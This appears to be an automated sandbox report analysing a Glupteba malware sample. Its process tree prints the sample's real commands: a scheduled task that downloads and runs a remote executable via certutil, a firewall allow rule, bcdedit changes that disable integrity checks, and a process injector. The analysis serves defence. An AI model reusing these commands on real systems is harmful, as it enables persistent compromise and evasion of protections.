Analysis
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max time kernel
5s -
max time network
124s -
platform
windows7_x64 -
resource
win7-20240221-en -
resource tags
arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system -
submitted
16-04-2024 13:33
Static task
static1
Behavioral task
behavioral1
Sample
f3998e135f5e6bbbc07644ca7a0f0c5a_JaffaCakes118.exe
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
f3998e135f5e6bbbc07644ca7a0f0c5a_JaffaCakes118.exe
Resource
win10v2004-20240412-en
General
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Target
f3998e135f5e6bbbc07644ca7a0f0c5a_JaffaCakes118.exe
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Size
4.5MB
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MD5
f3998e135f5e6bbbc07644ca7a0f0c5a
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SHA1
0a1353bdbab089ce09342ffdc489166dd1bc831f
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SHA256
d80d8aa4f24bd52900e4f60d1e979fbd34157ab1ffe3777f52e72ce4a2d5eb0e
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SHA512
eeea7f02b9f0896778fd75f7cc8d8a55ad94b960e174cf19403d2f968e912203011156789ef093538a1f6e99ef7ed924e02f1b3d0180236e6b71291ed15da934
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SSDEEP
98304:8xHuDUUQTo5+nZ6POTvoxA6xblv9aCcENrOYrizYhUCaLTH6aVmpO:4wgTo5+oPOTv0A6TEkNqyUYCCeSpO
Malware Config
Extracted
metasploit
windows/single_exec
Signatures
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Glupteba payload 20 IoCs
Processes:
resource yara_rule behavioral1/memory/1708-2-0x00000000053E0000-0x0000000005D06000-memory.dmp family_glupteba behavioral1/memory/1708-3-0x0000000000400000-0x000000000367B000-memory.dmp family_glupteba behavioral1/memory/1708-4-0x0000000000400000-0x000000000367B000-memory.dmp family_glupteba behavioral1/memory/1708-6-0x00000000053E0000-0x0000000005D06000-memory.dmp family_glupteba behavioral1/memory/2652-10-0x0000000000400000-0x000000000367B000-memory.dmp family_glupteba behavioral1/memory/2652-19-0x0000000000400000-0x000000000367B000-memory.dmp family_glupteba behavioral1/memory/2992-23-0x0000000000400000-0x000000000367B000-memory.dmp family_glupteba behavioral1/memory/2992-98-0x0000000000400000-0x000000000367B000-memory.dmp family_glupteba behavioral1/memory/2992-102-0x0000000000400000-0x000000000367B000-memory.dmp family_glupteba behavioral1/memory/2992-115-0x0000000000400000-0x000000000367B000-memory.dmp family_glupteba behavioral1/memory/2992-116-0x0000000000400000-0x000000000367B000-memory.dmp family_glupteba behavioral1/memory/2992-117-0x0000000000400000-0x000000000367B000-memory.dmp family_glupteba behavioral1/memory/2992-146-0x0000000000400000-0x000000000367B000-memory.dmp family_glupteba behavioral1/memory/2992-152-0x0000000000400000-0x000000000367B000-memory.dmp family_glupteba behavioral1/memory/2992-153-0x0000000000400000-0x000000000367B000-memory.dmp family_glupteba behavioral1/memory/2992-154-0x0000000000400000-0x000000000367B000-memory.dmp family_glupteba behavioral1/memory/2992-155-0x0000000000400000-0x000000000367B000-memory.dmp family_glupteba behavioral1/memory/2992-156-0x0000000000400000-0x000000000367B000-memory.dmp family_glupteba behavioral1/memory/2992-157-0x0000000000400000-0x000000000367B000-memory.dmp family_glupteba behavioral1/memory/2992-158-0x0000000000400000-0x000000000367B000-memory.dmp family_glupteba -
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
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Modifies boot configuration data using bcdedit 14 IoCs
Processes:
bcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exepid process 2036 bcdedit.exe 2888 bcdedit.exe 2876 bcdedit.exe 2604 bcdedit.exe 1924 bcdedit.exe 2600 bcdedit.exe 2492 bcdedit.exe 3004 bcdedit.exe 2476 bcdedit.exe 3036 bcdedit.exe 1756 bcdedit.exe 2788 bcdedit.exe 2400 bcdedit.exe 1872 bcdedit.exe -
Modifies Windows Firewall 2 TTPs 1 IoCs
Processes:
netsh.exepid process 2496 netsh.exe -
Possible attempt to disable PatchGuard 2 TTPs
Rootkits can use kernel patching to embed themselves in an operating system.
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Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 2680 schtasks.exe 2696 schtasks.exe -
GoLang User-Agent 3 IoCs
Uses default user-agent string defined by GoLang HTTP packages.
Processes:
description flow ioc HTTP User-Agent header 28 Go-http-client/1.1 HTTP User-Agent header 11 Go-http-client/1.1 HTTP User-Agent header 12 Go-http-client/1.1
Processes
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C:\Users\Admin\AppData\Local\Temp\f3998e135f5e6bbbc07644ca7a0f0c5a_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\f3998e135f5e6bbbc07644ca7a0f0c5a_JaffaCakes118.exe"1⤵PID:1708
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C:\Users\Admin\AppData\Local\Temp\f3998e135f5e6bbbc07644ca7a0f0c5a_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\f3998e135f5e6bbbc07644ca7a0f0c5a_JaffaCakes118.exe"2⤵PID:2652
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C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"3⤵PID:920
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C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes4⤵
- Modifies Windows Firewall
PID:2496 -
C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe ""3⤵PID:2992
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C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- Creates scheduled task(s)
PID:2680 -
C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://spolaect.info/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F4⤵
- Creates scheduled task(s)
PID:2696 -
C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"4⤵PID:3044
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C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -create {71A3C7FC-F751-4982-AEC1-E958357E6813} -d "Windows Fast Mode" -application OSLOADER5⤵
- Modifies boot configuration data using bcdedit
PID:2036 -
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} device partition=C:5⤵
- Modifies boot configuration data using bcdedit
PID:2888 -
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} osdevice partition=C:5⤵
- Modifies boot configuration data using bcdedit
PID:2876 -
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} systemroot \Windows5⤵
- Modifies boot configuration data using bcdedit
PID:2604 -
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} path \Windows\system32\osloader.exe5⤵
- Modifies boot configuration data using bcdedit
PID:1756 -
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} kernel ntkrnlmp.exe5⤵
- Modifies boot configuration data using bcdedit
PID:1924 -
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} recoveryenabled 05⤵
- Modifies boot configuration data using bcdedit
PID:2600 -
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nx OptIn5⤵
- Modifies boot configuration data using bcdedit
PID:2492 -
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nointegritychecks 15⤵
- Modifies boot configuration data using bcdedit
PID:3004 -
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} inherit {bootloadersettings}5⤵
- Modifies boot configuration data using bcdedit
PID:3036 -
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -displayorder {71A3C7FC-F751-4982-AEC1-E958357E6813} -addlast5⤵
- Modifies boot configuration data using bcdedit
PID:2476 -
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -timeout 05⤵
- Modifies boot configuration data using bcdedit
PID:2400 -
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -default {71A3C7FC-F751-4982-AEC1-E958357E6813}5⤵
- Modifies boot configuration data using bcdedit
PID:2788 -
C:\Windows\system32\bcdedit.exeC:\Windows\Sysnative\bcdedit.exe /v4⤵
- Modifies boot configuration data using bcdedit
PID:1872 -
C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exeC:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe4⤵PID:2800
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C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exeC:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll4⤵PID:572
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C:\Windows\system32\makecab.exe"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20240416133405.log C:\Windows\Logs\CBS\CbsPersist_20240416133405.cab1⤵PID:2716
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015Filesize
68KB
MD529f65ba8e88c063813cc50a4ea544e93
SHA105a7040d5c127e68c25d81cc51271ffb8bef3568
SHA2561ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184
SHA512e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa
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C:\Users\Admin\AppData\Local\Temp\CabEF31.tmpFilesize
65KB
MD5ac05d27423a85adc1622c714f2cb6184
SHA1b0fe2b1abddb97837ea0195be70ab2ff14d43198
SHA256c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d
SHA5126d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d
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C:\Users\Admin\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\AAF33CF37E194E98957768CF9C02DE8E2\download.errorFilesize
8.3MB
MD5fd2727132edd0b59fa33733daa11d9ef
SHA163e36198d90c4c2b9b09dd6786b82aba5f03d29a
SHA2563a72dbedc490773f90e241c8b3b839383a63ce36426a4f330a0f754b14b4d23e
SHA5123e251be7d0e8db92d50092a4c4be3c74f42f3d564c72981f43a8e0fe06427513bfa0f67821a61a503a4f85741f0b150280389f8f4b4f01cdfd98edce5af29e6e
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C:\Users\Admin\AppData\Local\Temp\Symbols\winload_prod.pdb\768283CA443847FB8822F9DB1F36ECC51\download.errorFilesize
492KB
MD5fafbf2197151d5ce947872a4b0bcbe16
SHA1a86eaa2dd9fc6d36fcfb41df7ead8d1166aea020
SHA256feb122b7916a1e62a7a6ae8d25ea48a2efc86f6e6384f5526e18ffbfc5f5ff71
SHA512acbd49a111704d001a4ae44d1a071d566452f92311c5c0099d57548eddc9b3393224792c602022df5c3dd19b0a1fb4eff965bf038c8783ae109336699f9d13f6
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C:\Users\Admin\AppData\Local\Temp\TarF09F.tmpFilesize
177KB
MD5435a9ac180383f9fa094131b173a2f7b
SHA176944ea657a9db94f9a4bef38f88c46ed4166983
SHA25667dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34
SHA5121a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a
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C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exeFilesize
281KB
MD5d98e33b66343e7c96158444127a117f6
SHA1bb716c5509a2bf345c6c1152f6e3e1452d39d50d
SHA2565de4e2b07a26102fe527606ce5da1d5a4b938967c9d380a3c5fe86e2e34aaaf1
SHA512705275e4a1ba8205eb799a8cf1737bc8ba686925e52c9198a6060a7abeee65552a85b814ac494a4b975d496a63be285f19a6265550585f2fc85824c42d7efab5
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C:\Users\Admin\AppData\Local\Temp\ntkrnlmp.exeFilesize
5.3MB
MD51afff8d5352aecef2ecd47ffa02d7f7d
SHA18b115b84efdb3a1b87f750d35822b2609e665bef
SHA256c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb
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C:\Users\Admin\AppData\Local\Temp\osloader.exeFilesize
591KB
MD5e2f68dc7fbd6e0bf031ca3809a739346
SHA19c35494898e65c8a62887f28e04c0359ab6f63f5
SHA256b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4
SHA51226256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579
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\Users\Admin\AppData\Local\Temp\csrss\dsefix.exeFilesize
94KB
MD5d98e78fd57db58a11f880b45bb659767
SHA1ab70c0d3bd9103c07632eeecee9f51d198ed0e76
SHA256414035cc96d8bcc87ed173852a839ffbb45882a98c7a6f7b821e1668891deef0
SHA512aafbd3eee102d0b682c4c854d69d50bac077e48f7f0dd8a5f913c6c73027aed7231d99fc9d716511759800da8c4f0f394b318821e9e47f6e62e436c8725a7831
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\Users\Admin\AppData\Local\Temp\csrss\patch.exeFilesize
1.7MB
MD513aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
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\Users\Admin\AppData\Local\Temp\dbghelp.dllFilesize
1.5MB
MD5f0616fa8bc54ece07e3107057f74e4db
SHA1b33995c4f9a004b7d806c4bb36040ee844781fca
SHA2566e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026
SHA51215242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c
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\Users\Admin\AppData\Local\Temp\symsrv.dllFilesize
163KB
MD55c399d34d8dc01741269ff1f1aca7554
SHA1e0ceed500d3cef5558f3f55d33ba9c3a709e8f55
SHA256e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f
SHA5128ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d
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\Windows\rss\csrss.exeFilesize
4.5MB
MD5f3998e135f5e6bbbc07644ca7a0f0c5a
SHA10a1353bdbab089ce09342ffdc489166dd1bc831f
SHA256d80d8aa4f24bd52900e4f60d1e979fbd34157ab1ffe3777f52e72ce4a2d5eb0e
SHA512eeea7f02b9f0896778fd75f7cc8d8a55ad94b960e174cf19403d2f968e912203011156789ef093538a1f6e99ef7ed924e02f1b3d0180236e6b71291ed15da934
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memory/1708-4-0x0000000000400000-0x000000000367B000-memory.dmpFilesize
50.5MB
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memory/1708-1-0x0000000004FA0000-0x00000000053DC000-memory.dmpFilesize
4.2MB
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memory/1708-2-0x00000000053E0000-0x0000000005D06000-memory.dmpFilesize
9.1MB
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memory/1708-3-0x0000000000400000-0x000000000367B000-memory.dmpFilesize
50.5MB
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memory/1708-0-0x0000000004FA0000-0x00000000053DC000-memory.dmpFilesize
4.2MB
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memory/1708-7-0x0000000004FA0000-0x00000000053DC000-memory.dmpFilesize
4.2MB
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memory/1708-6-0x00000000053E0000-0x0000000005D06000-memory.dmpFilesize
9.1MB
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memory/2652-19-0x0000000000400000-0x000000000367B000-memory.dmpFilesize
50.5MB
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memory/2652-10-0x0000000000400000-0x000000000367B000-memory.dmpFilesize
50.5MB
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memory/2652-5-0x0000000004DC0000-0x00000000051FC000-memory.dmpFilesize
4.2MB
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memory/2652-9-0x0000000004DC0000-0x00000000051FC000-memory.dmpFilesize
4.2MB
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memory/2992-146-0x0000000000400000-0x000000000367B000-memory.dmpFilesize
50.5MB
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memory/2992-20-0x0000000004F70000-0x00000000053AC000-memory.dmpFilesize
4.2MB
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memory/2992-114-0x0000000004F70000-0x00000000053AC000-memory.dmpFilesize
4.2MB
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memory/2992-115-0x0000000000400000-0x000000000367B000-memory.dmpFilesize
50.5MB
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memory/2992-116-0x0000000000400000-0x000000000367B000-memory.dmpFilesize
50.5MB
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memory/2992-117-0x0000000000400000-0x000000000367B000-memory.dmpFilesize
50.5MB
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memory/2992-98-0x0000000000400000-0x000000000367B000-memory.dmpFilesize
50.5MB
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memory/2992-158-0x0000000000400000-0x000000000367B000-memory.dmpFilesize
50.5MB
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memory/2992-157-0x0000000000400000-0x000000000367B000-memory.dmpFilesize
50.5MB
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memory/2992-102-0x0000000000400000-0x000000000367B000-memory.dmpFilesize
50.5MB
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memory/2992-21-0x0000000004F70000-0x00000000053AC000-memory.dmpFilesize
4.2MB
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memory/2992-23-0x0000000000400000-0x000000000367B000-memory.dmpFilesize
50.5MB
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memory/2992-152-0x0000000000400000-0x000000000367B000-memory.dmpFilesize
50.5MB
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memory/2992-153-0x0000000000400000-0x000000000367B000-memory.dmpFilesize
50.5MB
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memory/2992-154-0x0000000000400000-0x000000000367B000-memory.dmpFilesize
50.5MB
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memory/2992-155-0x0000000000400000-0x000000000367B000-memory.dmpFilesize
50.5MB
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memory/2992-156-0x0000000000400000-0x000000000367B000-memory.dmpFilesize
50.5MB
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memory/3044-29-0x0000000140000000-0x00000001405E8000-memory.dmpFilesize
5.9MB
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memory/3044-43-0x0000000140000000-0x00000001405E8000-memory.dmpFilesize
5.9MB